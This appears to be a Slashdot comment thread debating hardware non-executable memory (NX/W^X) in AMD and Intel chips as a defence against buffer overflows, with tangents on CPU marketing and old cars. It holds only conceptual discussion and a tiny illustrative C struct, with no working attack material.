    This just means that they are essentially forcing a 'non-executeable' flag on the stack, right? Or are they doing something more complex? Non-executeable stacks have been available for Linux, Solaris, and others for quite some time... It's cool if support for such is implemented in a chip, but is it really a silver bullet?

    Still looking for hard tech on what exactly they're doing - I honestly don't know. However, if you could control one heap variable and overflow a stack-based buffer, would setting the stack to return into the heap variable and execute code inserted there still work? Seems like it might - a much harder-to-find situation than just a single unchecked stack buffer, but definitely not unheard of.

  73. AMD chipsets by Anonymous Coward · · Score: 2, Informative

    AMD did make a chipset for the dual processor Athlon motherboards, and it really wasn't anything to brag about. On the other hand, the third party nVidia nForce2 chipset has had rave reviews and a number of great motherboard implementations.

  74. You misunderstand the hardware fix. by MonkeyBoyo · · Score: 1

    The hardware is to divide virtual memory into seperate I (instruction) and D (data) spaces. I has nothing to do with preventing buffer overflows from happening. It does nothing with regard to bounds checks.

    It does prevent buffer overflow viruses that rely upon positioning machine instruction in a place they will be executed. This is because the instructions will be in D space and can't be executed.

  75. I predict that... by Inuchance · · Score: 2, Insightful

    This will be the year of sloppy coding.

  76. Re:the Chipmaker??? by Anonymous Coward · · Score: 0

    how come every post that mods itself -1 flamebait gets modded up to +4 or +5?

    I'm gonna pre-mod this post to -1, flamebait too..

  77. Re:the Chipmaker??? by kfg · · Score: 4, Informative

    This has nothing to do with Microsoft, and everything to do with architecture and programing languages.

    If you program in C on Intel you are going to have problems without almost fanatical devotion to the Po^H^H management of your memory resources.

    That goes for Linux as well, as any check at Bugtraq can confirm.

    Yes, people should be very careful when coding in languages and on architechtures which allow buffer overflow, but the real solution is at a level lower than the coder's.

    KFG

  78. Protection? Not really... by shabble · · Score: 2, Interesting
    From the article:

    If hackers attempt to execute code from the data section of memory, they will fail. Windows will then detect the attempt and close the application.


    Great. So the 'buffer-overflow protection' isn't really a fix - it's a (more than potential) DOS. Take, erm, the kernel for example. Buffer overflows, BSOD.
    1. Re:Protection? Not really... by ortcutt · · Score: 2, Insightful

      DOS is better than a remote root exploit. When your machine goes down you know you at least know about it.

  79. Stack Protection Today by ortcutt · · Score: 2, Informative
    The article is thin on the details of how they are redesigning the chips to prevent overflow exploits, but Stack Protection (which as far as I know is what matters when it comes to buffer overflows) is available today. IBM's SSP project extends GCC to provide stack protection.

    http://www.trl.ibm.com/projects/security/ssp/

    Gentoo-specific info here.

    http://www.gentoo.org/proj/en/hardened/propolice.x ml

  80. BSD: No coverage given... by ansak · · Score: 1

    Wasn't there a version of the beasties that implemented "X ^ R" already? I remember looking at some diffs which, for the Intel version, had complaints about how this feature wasn't supported at all on x86's so the whole thing was reduced to "NOP"s and "return true;"s -- just can't remember which one. At this point my national pride kicks in and I remember that it was a fellow Canuck who was checking it in (did he build it himself as well?).

    Eventually Windows will support the good things others are already doing... and get all the credit, too.

    cheers...ank

    --
    Still hoping for Gentle Treatment...
    1. Re:BSD: No coverage given... by JonMartin · · Score: 1

      You're thinking of OpenBSD. Headquarters in Calgary. Take a look at the April 2003 press coverage for stuff on W^X.

      --
      Serve Gonk.
  81. Added protection by Mick+Ohrberg · · Score: 3, Funny

    Excellent! Now they just need to develop a chip that protects against id10t and PEBCAK problems.

    --

    Quidquid latine dictum sit, altum sonatur.

  82. PR department by like-it-or-not · · Score: 1


    The question will be whether their PR department can spin this...

    Perhaps AMD could create a musuem of vintage blue-creens, all with less-than-subtle associations of the "Inel Inside" logo.

    --
    dubito ergo sum
  83. Re:Pathetic by DaHat · · Score: 2, Insightful

    Yes, the article talks about its use with newer versions of Windows (as early as SP2 of XP if I'm not mistaken), I would remind you that this is a Windows centric market right now, when a company like AMD or Intel designs a new processor or function, the first place they talk to about it is Redmond to get OS support in the most wide spread OS. Once that is accomplished, then they can look into secondary markets for support.

    I have little doubt that AMD will supply enough info to get this functionality working under Linux around the same time that these chips ship.

  84. Re:the Chipmaker??? by uarch · · Score: 1

    One of the inside jokes among hardware designers/architects is that we're there to fix the brain-dead ideas/practices of software people.

  85. Mod Parent "Damned Good Question" by handy_vandal · · Score: 1

    So if there is a buffer overflow in explorer.exe, and I exploit this buffer, it kills explorer.exe.

    and if I do this to IIS, repeatedly, from an outlook virus I just created to scan IP ranges and shut down any IIS server it can locate.


    Damned good question. Somebody confirm or deny this idea ....

    -kgj

    --
    -kgj
    1. Re:Mod Parent "Damned Good Question" by cubic6 · · Score: 1

      This isn't any different than before in respect to DoS. The difference is that you can't use it to execute arbitrary code, so the virus would have to spread using a different security hole. DoS attacks are remarkably hard to prevent due to their very nature. If a service is open to the Internet, it's vulnerable.

      --
      Karma: Contrapositive
    2. Re:Mod Parent "Damned Good Question" by WhodoVoodoo · · Score: 1

      Indeed you are correct. My concern is an increased number of buffer overflows in software due to the assumption that since Software Product X is not critical, an exploitable X is no big deal. Like winamp, for example.

      If this technology is not foolproof (I see no proof that it is, It is vapor still I understand) and someone manages to get around this protection in some way, then there is a huge-ass worm on the loose. That creates a potentially very dangerous low-bandwidth DDoS which could be turned on anything at that point.

      But even if there is no way around the hardware checks, You may still have a potentially very dangerous, low-bandwidth DoS attack somewhere. Does anyone remember those WinNuke exploits?

      All implimented in hardware. While I am far from a Lawyer, I could see that as being a tiny liability.

      Perhaps its just doomsaying, But I am a wee bit worried. I would be much much less worried if there were an "Off" switch somewhere.

  86. A bunch of things by Groo+Wanderer · · Score: 3, Informative

    1) It is also in Prescott
    2) It needs OS support, specifically XP SP2, which isn't out yet.
    3) It doesn't really do what it is meant to, I have seen several 'theoretical' discussions on how to circumvent it. Think of it as another hoop to jump through for the black hats.
    4) You need to be in 64-bit mode to use it
    5) 4) requires a recompilation anyway, why not do it right with the right tools when you recompile?
    6) I know of at least one vendor using to bid against intel on contracts now.
    7) Oh yeah, this will do a lot of good. Really. When has a white paper ever lied?
    8) The more you know about things like this, the more you want to move into a cabin in Montana and live off the land.

    -Charlie

    1. Re:A bunch of things by Kenneth+Parker · · Score: 2, Insightful

      Try to get your facts correct. Corrections:

      1) If its in Prescott, Intel isn't saying so.
      3) It just makes things harder to exploit, but that true of everything.
      4) BS. You have to switch to PAE mode, but that isn't 64bit mode.
      5) It only requires the kernel change, no apps need the recompile.
      7) It will typically change exploits from allowing elavation of privelege to a DOS.

    2. Re:A bunch of things by Luscious868 · · Score: 1

      I think that every little bit of additonal security is a good thing. Especially when your running a Microsoft OS. Might somebody somewhere figure out a way around it? Yes. Does that then mean that the feature is entirely useless? No.

    3. Re:A bunch of things by Anonymous Coward · · Score: 0
      1) It is also in Prescott
      Sources, please. Or is this just FUD?
    4. Re:A bunch of things by Groo+Wanderer · · Score: 1

      "Sources, please. Or is this just FUD?"

      I can't be specific, but lets just say my day job is writing from The Inquirer, and I was the one who said Prescott was 64-bit and used AMD64 more than 6 months ago. I can say with authority that it is there, it is just a question of when Intel decides to bless us with it.

      -Charlie

    5. Re:A bunch of things by Groo+Wanderer · · Score: 1

      " Try to get your facts correct. Corrections:"

      Ok, in order:

      1) If its in Prescott, Intel isn't saying so.
      Just because it isn't stated doesn't mean it isn't there. I was saying last year that Prescott was 64 bit, and looks like I was right. Those same people told me with certainty that it was there.

      3) It just makes things harder to exploit, but that true of everything.
      Every place I have heard about sells it as 'virus stopper'. It does NOT do this. Slows it down, yes, but stops, no. That is what I was referring to.

      4) BS. You have to switch to PAE mode, but that isn't 64bit mode.
      I thought it wasn't there? Everyone I talked to said in no uncertain terms that is was 64-bit only, I trust them over you.

      5) It only requires the kernel change, no apps need the recompile.
      If a program expects to have all memory writeable, and tries to function under those conditions, anything that stops it, regardless of how small the patch necessary is, will break these programs.

      7) It will typically change exploits from allowing elavation of privelege to a DOS.
      The 'typically' is what I have a problem with. If you put it against current virii/exploits, you are right, but then again, all of those are patched against. It is the future ones I worry about, and if there is a way around it, it will be exploited. For that reason I say the people touting this as a panacea are shortsighted at best.

      By my count, you are wrong on 4.5 out of 5 corrections, so I don't feel a burning need to backpedal here, sorry.

      -Charlie

    6. Re:A bunch of things by kasperd · · Score: 1

      If a program expects to have all memory writeable, and tries to function under those conditions, anything that stops it, regardless of how small the patch necessary is, will break these programs.

      Programs can still write to the exact same pages as they could before. The difference is, that now they cannot execute code from nonexecutable pages.

      --

      Do you care about the security of your wireless mouse?
    7. Re:A bunch of things by 10Ghz · · Score: 1
      2) It needs OS support, specifically XP SP2, which isn't out yet.


      Linux has supported it for a while already.
      --
      Lesbian Nazi Hookers Abducted by UFOs and Forced Into Weight Loss Programs - -all next week on Town Talk.
  87. Won't make a dent for several years by Anonymous Coward · · Score: 0

    While helpful, consider the uptake curve.
    There won't even be 10% penetration for a number of years. So lots [10,000,000s] of machines will still be vulnerable for years to come. It will help with some of the newer machines, but most of those will be running newer OSs that have many/most of the current crop of buffer overflow exploits fixed.

    Those win 95 boxes will continue to be turned into Zombies for years to come...

  88. Bullshit by Anonymous Coward · · Score: 0

    Remember back in the 60s and before, all cars leaked oil?

    As the owner of many 60s cars, I can definitely say "No. I don't remember that." As a matter of fact, I have never owned a car from that period that leaked oil. The only car in my household that leaked oil was my wife's 97 Jetta.

    I own(ed) Mustangs, Novas, Chevelles, GTOs, Chargers, a Riviera and a GS (OK, the GS was a 70). None of them leaked oil.

    Are you British by any chance?

    1. Re:Bullshit by Anonymous Coward · · Score: 0

      Are you British by any chance?

      Doesn't seem British. Doesn't have the random extra vowels in his words.
      Must be just another America hating liberal.

    2. Re:Bullshit by Anonymous Coward · · Score: 0

      I agree -- IME, 1960s American Cars did not leak oil.

      A better example might have been Harley-Davidson motorcycles, which did leak oil for years and years after the Japanese proved it was possible to make a motorcycle that didn't leak.

    3. Re:Bullshit by fantastic · · Score: 1

      my chevy has always leaked oil and has been repaired more times than I can remember, infact if it wasn't for the infamous 3000 mile oil change then many american car owners would find out how much they were leaking.

      Japanese cars don't need an oil change for 10000 miles when sold outside the US, and even some of the oil companies themselves recommend 10000+ changes. It was the US auto industry that came up with the 3000 mile change

    4. Re:Bullshit by Anonymous Coward · · Score: 0

      my chevy has always leaked oil and has been repaired more times than I can remember

      What year is it? If it was built after 9/30/1969, you need to learn how to read. The discussion was specifically 1960s cars.

      infact if it wasn't for the infamous 3000 mile oil change then many american car owners would find out how much they were leaking.

      When I say my cars don't leak oil, I mean not one single drop. Ever. Oil quantity/quality is something I check rigorously. Changing the oil every mile wouldn't mask that.

  89. Re:Pathetic by Anonymous Coward · · Score: 0

    Oh I'm confused... so MSFT are the cause of the buffer overrun bugs in Linux?

    Please, do not be confused, do not worry, you simply do not understand the breadth and depth of the evil of Microsoft and its minions.

    Microsoft created Linux in an effort to prove the power of the dark side. Anonymously contributing code deemed too obfusticated to be wrong and therefore correct, they have managed to implement bugs that will only surface at moments when Microsofts code appears to be under threat. These bugs in the Linux code are so vast in nature, and the regularity of their appearances(hence the continual bug fixes and revisions in the various distributions), was thought to be the ultimate proof of the efficiency of a closed source model.

    Using this subterfuge however was deemed worthless in the face of regular system crashes and security problems becoming the norm and therefore acceptable.

    So they turned to plan B.

    The next chapter of the story.

    The Empire Strikes Back.

    SCO.

  90. Re:Pathetic by Anonymous Coward · · Score: 0

    I guess you didn't even read the article title:

    "Chips to ease Microsoft's big security nightmare"

    The issue is really on the O/S since most other O/S's provide mechanisms to do a non-executable stack. (Solaris, some BSDs, not sure about linux). Yes the exploit happens with an application, but guess who provides the framework for the application to run on the hardware .. perhaps you should take an introductory course on operating systems and study where M$ falls short on their inherent design. Oh, and btw - I'm in my mid-30s and frequently use M$ to abbrev Microsoft as it seems to accurately describe their primary design goal. Perhaps a little more understanding before you run rampant on your pathetic link attempts and criticisms.

  91. Can already be done in software by c64cryptoboy · · Score: 1

    hp-ux already does this in software (pdf doc): http://tinyurl.com/2w2rt

    Although, this can mess up on JDKs = 1.2.2.

    --
    I put the 'fun' in fundamentalism
    1. Re:Can already be done in software by c64cryptoboy · · Score: 1
      Ok, let's try that post again.

      "JDKs = 1.2.2" was supposed to be "JDKs <=1.2.2" (thanks for helping with html suppression slashdot)

      And for those that don't trust tinyurl links, here's the original.

      --
      I put the 'fun' in fundamentalism
  92. Buffer overflows are in applications, not the CPU by Anonymous Coward · · Score: 1, Informative

    I think you're confused :) (Though the mods think you are insightful, I guess that says as much about them as you.)

    There is no way to do this at the motherboard level. It needs to happen in the MMU which is part of the processor. And it isn't specific to buffer overflows. In fact, it does not prevent them. What is does is allow the operating system to mark memory as readable without making it executable. Other processors can already do this. And there are known kludgy workarounds which are implemented in OpenBSD and Solar Designer's Linux kernel patches which make it work even on broken Intel CPUs. AMD and Intel are simply implementing the page table protection bits the way they should have been implemented back when Intel created the 386.

  93. It's been available on intel for a LONG time...BUT by Anonymous Coward · · Score: 1, Informative

    BUT you have had to implement segmented memory management to get it.

    The problem has always been that the execute flag has only existed in the segmentation registers.

    This change puts the execute flag on the PAGE rather than the SEGMENT.

    The segmented mode is SLOW when you combine it with paging activity (you get a fault on a page, and you have to modify both the page tables AND the segment descriptors for things to work. Going through both mapping registers (page and segment) causes a significant speed reduction in memory access. It also gives you a larger physical memory range... (cache collision penalties too)

  94. Re:the Chipmaker??? by Frac · · Score: 3, Insightful

    why does the chipmaker need to protect us from microsoft buffer overflow errors? why can't they just double check their code?

    That's like saying "why do we need cops? why can't people just not break the law, so no one needs to be around to reinforce them?"

    Accidents do happen, and it's not only Microsoft's own problem. It doesn't hurt to have another layer of security for bad programming...

  95. One way to market by Alan · · Score: 1

    Well, the number of spam relays and viruses that rely on buffer overflows in IE and OE should be enough to give them a good start anyway....

  96. Re:the Chipmaker??? by Anonymous Coward · · Score: 0

    Your reference to Microsoft as MSFT unveils that
    you are really a Microsoft Stockholder.

    Your previous post was more of an advert for
    Microsoft than an actual statement based on
    FACTS.

  97. A thought on the marketing spin by dacarr · · Score: 1
    You know, AOL has been doing this "AOL turbo makes the internet go faster" thing, by showing precisely what it isn't for (IE, souping your motorcycle or car up without interesting side effects).

    On that note, perhaps something similar, IE it won't protect you from overflowing your cup of coffee?

    --
    This sig no verb.
  98. Because Intel screwed up by Anonymous Coward · · Score: 0

    Adding read permission for a page traditionally also grants execute permission. There are ways to work around it but they aren't pretty.

  99. what about windows? by Anonymous Coward · · Score: 0

    if they have built in buffer overflow protection how is windows going to "operate" normally?

  100. Now we finally have an answer...... by Ride-My-Rocket · · Score: 1

    Step 1: Collect underpants.
    Step 2: Release new consumer chips with built-in buffer-overflow protection.
    Step 3: Profit!

  101. At last, consumer CPUs catch up with the Alpha by alanw · · Score: 3, Informative

    Several architectures (sparc, sparc64, alpha, hppa, m88k) have had per-page execute permissons for years.
    See This BugTraq posting by Theo de Raadt

    1. Re:At last, consumer CPUs catch up with the Alpha by Mainframes+ROCK! · · Score: 2, Informative

      I suspect its even older than that ... Burroughs seems to have something like this, called "tagged words" or "tagged memory" even longer ...

      http://www.ajwm.net/amayer/papers/B5000.html

  102. Re:the Chipmaker??? by lcde · · Score: 1

    Just like how fast processors and excess memory has allowed for programs to become sloppy in their code writing and optimization, adding this feature within a processor will allow for even less experienced programmers to code large projects.

    Just think about all of the impressive stuff that goes on in embedded systems, and think of the size. Then think of all the stuff you do on you computer and look at the size.

    I'm not worried. I run OpenBSD. :)

    --
    :%s/teh/the/g
  103. Old news by geekee · · Score: 1

    I submitted this story over a month ago, but it was rejected by the editors. The technology is already available in the Athlon64s, and Prescott versions of the Pentium4, but require service pack 2 for windows. Not sure if linux supports the feature.

    --
    Vote for Pedro
  104. Chinese Fire Drill: Everything Old Is New Again! by sdeath · · Score: 0

    Great. So AMD has apparently rediscovered the Harvard architecture, or a variant thereof. (The "virtual" Harvard architecture?) [ http://en.wikipedia.org/wiki/Harvard_architecture ]

    Has it been adequately demonstrated yet that there is in fact nothing new under the sun? No? Okay.

    For a bonus laugh, I wonder if they're going to get a patent on this "novel technology".

    --
    I am Chaos. I am alive, and I tell you that you are Free. -Eris
  105. Re: first internet worm in 1988 ... nope. by Anonymous Coward · · Score: 0

    The first network based worm was written about 1975 by HP. The engineers had just finished reading "Shockwave Rider" (John Brunner - 1972) and were curious if they could make a worm.

    Their target was the buildings network of HP systems, which were setup to run diagnostics from midnight to ~5AM. Their worm was to run around the hosts, collect statistics data on the diagnostic, and return that data to the lab host. It worked for several days before they terminated it (several hosts couldn't handle it and crashed, which made them unavailable in the morning).

  106. it's the software stupid by Truekaiser · · Score: 1

    i can't belive how many people are buying into tcpa/ngscb/etc to improve microsofts security. it is not the hardware thats the porblem, the poor codeing in the software is what allows buffer overflows to compromise a system not a hardware defect.

  107. Athlon was NOT the first AMD CPU by Christopher+Bibbs · · Score: 3, Insightful

    There were plenty of good AMD and Cyrix 486 CPUs being used when Intel switched to the Pentium and the successful "Intel Inside" badging. Bonus points to anyone who still has a "Intel Onboard" sticker from the earlier failed marketing attempt. However, users at the time largely only knew they had a 386 or 486. Most of them couldn't tell you who made it without opening the case.

    The AMD K5, K6, K6-II, and K6-III were all decent chips, but were nothing more than the "bargain" chip. What gave Intel the real lead over AMD was the combination of several years of the fastest chips being only available from Intel and the public knowing who made their chip.

    1. Re:Athlon was NOT the first AMD CPU by bhtooefr · · Score: 1

      IIRC, my grandmother's 386 had an Intel Inside sticker near the back, with a little marketing blurb about why that was good (stuff about enhanced technology, etc., etc.)

    2. Re:Athlon was NOT the first AMD CPU by molafson · · Score: 1

      The AMD K5, K6, K6-II, and K6-III were all decent chips, but were nothing more than the "bargain" chip.

      Eh, as I recall, I had a K6-III 400 MHz that was better than comparable Pentiums of the time, except in floating-point operations. And the 3DNow! stuff would really give it a kick. Pity, no one cared.

    3. Re:Athlon was NOT the first AMD CPU by Anonymous Coward · · Score: 0

      Lets not rewrite history or anything. VIA and SiS couldn't make a chipset that cut the mustard back then. Their Super 7 chipsets had very flaky AGP implementations, I remember many video drivers from that era with 'fixed issue with Super 7' in the fix list.

      On top of that, the Cyrix example is valid as well. Intel capitalized on the instability of their competitor's products and 'Intel Inside' stuck to this day. I even remember software that would list 'Genuine Intel' as a requirement on the box. Of course, Intel was never perfect, but they managed to recall their worst offenses.

      The K6-III was a badass chip though. On-die L2 cache was a pretty new concept, and having your mobo's cache effectively become L3 was neat. Beat the measly 128k of on die cache that the Celerons were packing (Intel's PIIs and early PIIIs had off-die L2 cache, which is why they were so damn big)

    4. Re:Athlon was NOT the first AMD CPU by Samael_666 · · Score: 1

      One of my first pc's had a 386SX 25 MHz in it made by AMD. Can't find it on their website though.

    5. Re:Athlon was NOT the first AMD CPU by Christopher+Bibbs · · Score: 1
      http://www.intel.com/pressroom/intel_inside.htm

      The campaign launched with the 486 in 1991 and Intel considers the real pay off to have been in 1993 with the Pentium and then Pentium Pro in '94.

    6. Re:Athlon was NOT the first AMD CPU by bhtooefr · · Score: 1

      Well, this box was built in about 1992, and the manufacturer was making 486 systems at that time (I have a mobo and CPU out of one - mine is even an old logo CPU), so maybe they just got a surplus of the stickers, and started sticking them on all of their Intel systems.

  108. First, kill the 16-bit subsystem by Animats · · Score: 1

    First off, Windows needs to get rid of the 16-bit subsystem. You could run NT 3.51 without the 16-bit subsystem, and I used to do so as early as 1997. In NT 4, there's no obvious way to turn it off, although I'm sure there's some obscure registry key you can alter.

  109. Re:Pathetic by strictnein · · Score: 2, Insightful

    M$ to abbrev Microsoft as it seems to accurately describe their primary design goal.

    As apposed to all those other companies whose goal is to, what, make people happy?

    Why not:
    $u$e
    $aturn
    $tarbucks
    $un
    People$oft
    et c.

    Perhaps a little more understanding before you run rampant on your pathetic link attempts and criticisms.

    I understood in full. The original poster was at best misinformed, at worst a trolling idiot. As for pathetic link attempts, how better to illustrate a point than to provide evidence support that point? Should I have just thrown out some "leet" speak and swear words and just verbally berated the original poster? Would that be better?

  110. Surely this has already been said... by Von+Helmet · · Score: 1

    1. Market it with "New crash proof technology!!!" and include complex, confusing graphs.
    2. ???
    3. Profit!!
  111. New AMD slogan? How about.... by FerretFrottage · · Score: 3, Funny

    "Intel Inside? Then so are the hackers"

    --
    "Look Lois, the two symbols of the Republican Party: an elephant, and a fat white guy who is threatened by change."
  112. Careful Coding? by Anonymous Coward · · Score: 0

    The whole idea behind this isn't to prevent programs from accidentally overflowing the buffer. The idea behind this security measure is to prevent people who write viruses from overflowing the buffer. You can ask the people from MS to be careful with their coding but... when you have an OS that big and bulky it's a tough thing to do. They shouldn't have as many holes as they do to plug up but security holes are almost inevitable at that scale. AMD is saving us from Micro$oft's sloppiness and countless patches. Be thankful!

  113. UNIX Overflow by severoon · · Score: 2, Insightful

    I remember in college adminning a lab of HP-UX's when the "let's send more than 64K ping packets" caused a buffer overflow and a reboot. So it's definitely not exclusively a Windows problem. On the other hand, the article leaves it a little ambiguous as to whether or not this hardware fix will be exclusively useful to Windows (though I don't see how they could do that, there could be some fancy hoops that Windows jumps through anyway that are necessarily to exploit the fix? doubt it, though).

    I don't believe people still write things like, "Why doesn't everyone just write better code?" This reminds me of this one start-up I was working for during the dot com boom. I worked for one company that was so hard up to find managers they hired one guy to oversee the software department who'd never worked in the industry before. He had all sorts of unrealistic expectations, like "If you guys agree to double-check your code, we can save a lot of money by getting rid of the testing phase. We could release like three months early!" He was exasperated that professional coders couldn't write bug-free code on try #1.

    To everyone who says, let's write better code...why don't you write better code? No more bugs in your code ever again!

    Clearly, this is not the answer. What we need to do is take a step back and figure out the environment today, which we can do so much better than 25 years ago. We've seen a lot of the unintended consequences and now we know they exist. Intel or someone needs to develop a new processor from the ground up that addresses all the issues that we now know about through experience.

    One thing I've learned in this business is that you cannot achieve quality through gentleman's agreement, simply by getting someone to agree to write better code.

    sev

    --
    but have you considered the following argument: shut up.
  114. Misleading to call this buffer overflow protection by hoof · · Score: 1

    AMD64 pages have an execute permission bit. That just means that you can make your buffers non-executable (this can be achieved with segment level protection on normal x86 cpus). You can still have a buffer overflow exploit that doesn't execute any code. For example, consider someone writing a 104 character name to the following structure:

    struct user {
    char name[100];
    int can_write_other_peoples_files;
    };

    Non executable buffers don't help here. True buffer overflow protection would be some kind of hardware assisted bounds checking.

  115. Intel Inside by dpilot · · Score: 2, Insightful

    Blue Man Group and those little notes are only part of the story of the Intel Inside campaign, the part that the public sees.

    The other part is based on the razor-thin profit margins in the PC arena. IIRC, Intel Inside is a co-marketing agreement. Co-market, play those little notes and display the Intel logo as part of your ad, and you get a nice co-marketing fee from Intel. With next-to-no profit margin, that co-marketing fee just might be your profit, or a large part thereof.

    Maybe the days of "You MUST use our CPUs in 100% of your products!" are gone, but I'll bet the days of, "You must use our CPUs in 100% of your products in order to participate in Intel Inside!" are still here.

    --
    The living have better things to do than to continue hating the dead.
    1. Re:Intel Inside by Lars+T. · · Score: 1

      More importantly, this also goes for retailers. If they only show computers with Intel Inside in their adds, they get money from Intel. One PC with AMD or a Mac, and they have to pay it all by themselves.

      --

      Lars T.

      To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

    2. Re:Intel Inside by Zak3056 · · Score: 1

      The other part is based on the razor-thin profit margins in the PC arena. IIRC, Intel Inside is a co-marketing agreement. Co-market, play those little notes and display the Intel logo as part of your ad, and you get a nice co-marketing fee from Intel. With next-to-no profit margin, that co-marketing fee just might be your profit, or a large part thereof.

      IIRC, the payola for Intel Inside consists(ed) of cash back from Intel. Part of your CPU purchases (again IIRC, but I believe it was either 3% or 6%) went into a marketting fund.

      Maybe the days of "You MUST use our CPUs in 100% of your products!" are gone, but I'll bet the days of, "You must use our CPUs in 100% of your products in order to participate in Intel Inside!" are still here.

      About the first one, ask Dell. Intel doesn't REQUIRE them to be a 100% Intel shop, but pays them an incentive (in the form of discounts) that make it worth Dell's while.

      As to the 2nd part, in order to qualify for "Intel Inside" money, every model in a given product group of yours that you wanted to advertise for had to be exclusively Intel chips...if you wanted to use other chips, you had to come up with a separate model (i.e. if Compaq wanted to make a "Presario" commercial, Intel would only pay back that 3-6% figure for advertising if every Presario had an Intel chip.)

      --
      What part of "shall not be infringed" is so hard to understand?
  116. Self-modifying code by bobthemuse · · Score: 1

    I want to know if there will be a way to turn this feature off on a per-application basis (presumably through a call to the OS), as there are rare instances when self-modifying code can be incredibly efficient.

  117. Re:the Chipmaker??? by Uber+Banker · · Score: 1

    Adding support for a different combination of bits should not be a performance drag. I agree the parent was confused (programs accidentally having buffer overflows in their inbuilt operations vs. deliberate buffer overflow expoits), but hey, they criticised 'M$', so they got modded up! You must be new around here, etc.

  118. Impossible...code IS data by Atario · · Score: 1

    You're right, as far as I can tell. At some level, code is data. That's kind of the whole point of computers. If you can never write data that can be executed, you can never run a program. That's not to say some of these schemes (W^X and so on) aren't useful, nor to say that they're not kind of a buzzkill (self-modifying code is fun!).

    When all is said and done, just as you can't legislate morality, you can't enforce good programming.

    --
    "A great democracy must be progressive or it will soon cease to be a great democracy." --Theodore Roosevelt
  119. Re:the Chipmaker??? by Uber+Banker · · Score: 1

    Perhaps the parent was short on MS? Or as someone who knows the ticker ID is MSFT maybe your post is nothing more than an advert for Microsoft rather than an actual statement based on FACTS?

  120. Re:the Chipmaker??? by bwcbwc · · Score: 1
    Yes, people should be very careful when coding in languages and on architechtures which allow buffer overflow, but the real solution is at a level lower than the coder's.

    I disagree that this is out of the coder's hands. If your program is doing that many memory allocations on the stack, you're better off using a dedicated memory manager and using the heap instead. Then you can turn on array-bounds checking on your memory manager during the compile phase, and capture the buffer overflows.

    IM(NS)HO, programmers shouldn't use C unless they know assembler. C is really just an Assembler abstraction layer that standardizes the appearance of the hardware while still allowing full access to all system resources (Subject to OS limitations).

    It's kind of analogous to driving a standard shift car vs. an automatic with cruise control. If you don't know how to use the clutch pedal, you're better off with the automatic, even though you might wish you had the acceleration of the stick shift. Maybe developers should be fined for coding C without a license?

    --
    We are the 198 proof..
  121. Liar by Anonymous Coward · · Score: 0

    Volkswagen didn't build any more Jettas by 1997 - they're called Ventos now. So you're obviously lying. Moron!

    1. Re:Liar by Anonymous Coward · · Score: 0

      What third world shithole do you live in?

      In advanced societies like the US, they are called Jettas. Unfortunately, we are not advanced enough to the point where VWs are no longer sold here.

      Douchebag.

  122. There's one legitimate place for rewriting code by ChiralSoftware · · Score: 2, Informative
    One and only one: JIT compilation. For example, when Sun's JVM executes Java bytecode, certain portions of it may get compiled to native machine language and then run. In fact, Sun's compiler has a technology called HotSpot which is supposed to dynamically optimize some of this machine code as it runs. Certainly JIT compilation has big benefits. I believe that perl/parrot will be doing that. How much benefit HotSpot has in the real world, I'm not sure, but it is a cool trick.

    And all of these are cases of an executing piece of code dynamically creating and executing another piece of code which is exactly what happens in a buffer overflow situation.

    However, the number of programs that have a legitimate need to do this is tiny. I'm not sure how this chip will accomdoate those. There may need to be some kind of OS-layer thing with code that is trusted. Maybe the JVM itself could switch modes, so that only when it is actively attempting to write code would that feature be allowed. There are definitely work-arounds to allow JIT to continue working.

    As for copy protection, given a choice between having a system which is secure for me and a system which is secure for them, I'll take the system which is secure for me. What about you?

    -------
    Create a WAP hosting service

    1. Re:There's one legitimate place for rewriting code by Anonymous Coward · · Score: 0

      Funny when a C.S. professor says on the one hand that "self-modifying code is a bad idea, don't even think about it", and on the other hand says that Java has good performance because of JIT compilers.

      I say: disallow self-modifying code, ditch JIT, and compile "before time".

    2. Re:There's one legitimate place for rewriting code by Anonymous Coward · · Score: 0

      Sorry, but you missed one. Dynamic library linking. When the application is loaded by the OS, it has to overwrite a jump-table in the application to indicate the address in memory where the needed libraries currently reside.

      This is generally done by the OS, which is running in supervisor state, and can therefore twiddle any page access bits in the MMU as needed. However, you still need to be careful to flush the I-cache locations corresponding to the jump table, or you might have an old copy still in the cache. While mainframes generally have hardware to ensure consistancy between the I-cache and the D-cache, this is not common in microprocessors.

    3. Re:There's one legitimate place for rewriting code by wik · · Score: 1

      There are a whole bunch of interesting optimizations you can can do once the program is already running in the JVM. For instance, the IBM Jikes RVM will periodically queue methods for recompilation/reoptimization (with profiling information) after executing the method a certain number of times.

      --
      / \
      \ / ASCII ribbon campaign for peace
      x
      / \
    4. Re:There's one legitimate place for rewriting code by ocie · · Score: 1

      Writing in assembly is generally a bad idea, but writing a compiler or an O/S pretty much reqires it.

      --
      JET Program: see Japan, meet intere
  123. What are "SPARC standards"? Thanks. [nt] by Ayanami+Rei · · Score: 1


    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
    1. Re:What are "SPARC standards"? Thanks. [nt] by Von+Helmet · · Score: 2, Informative

      Scalable Processor ARChitecture.

    2. Re:What are "SPARC standards"? Thanks. [nt] by __past__ · · Score: 1

      I doubt that the Opteron conforms to that standard.

  124. Isn't this already possible with segmentation? by ktulu1115 · · Score: 4, Informative

    Call me stupid, but AFAIK x86 chips have full segmentation support (in protected mode obviously) - ability to define different segment types (read only, r/w, execute only, etc)... For those of you not familiar with it, it allows the programmer to define different types of memory segments, which would allow you to do some pretty interesting things such as defining read-only code segments (so the machine instructions can't be modified in memory), and non-executing data segments (to prevent OS from trying to run code stored in program data/buffers). This would solve the problem, at least how they addressed it in the article.

    If current operating systems actually used this in addition to paging (which is what most of them only use now), why would they need to create a new chip? Linux does not fully utilize segmention, mostly only paging. I don't have any resources on MS OS design right now so I can't comment on it... (although maybe looking at the recent source would help some ;)

    --
    # fuser -v /dev/attention | grep work
    #
    1. Re:Isn't this already possible with segmentation? by Entrope · · Score: 1

      The biggest problem with using x86 segments is that they add an extra 16 bits to each address -- and compilers cannot safely infer when they can be omitted. Especially when you are (or were) limited to 4 GB addressible memory for the entire CPU, it's a little bit overkill to double the pointer size (remember alignment issues) to fix a problem that should be handled by page permissions.

    2. Re:Isn't this already possible with segmentation? by zhenlin · · Score: 1

      Virtually all current 32-bit protected mode i386 OS kernels do not use segmentation.

      There are a number of reasons, including the monstrosity known as a far pointer. Pointers that don't fit in one register, nor load into one.

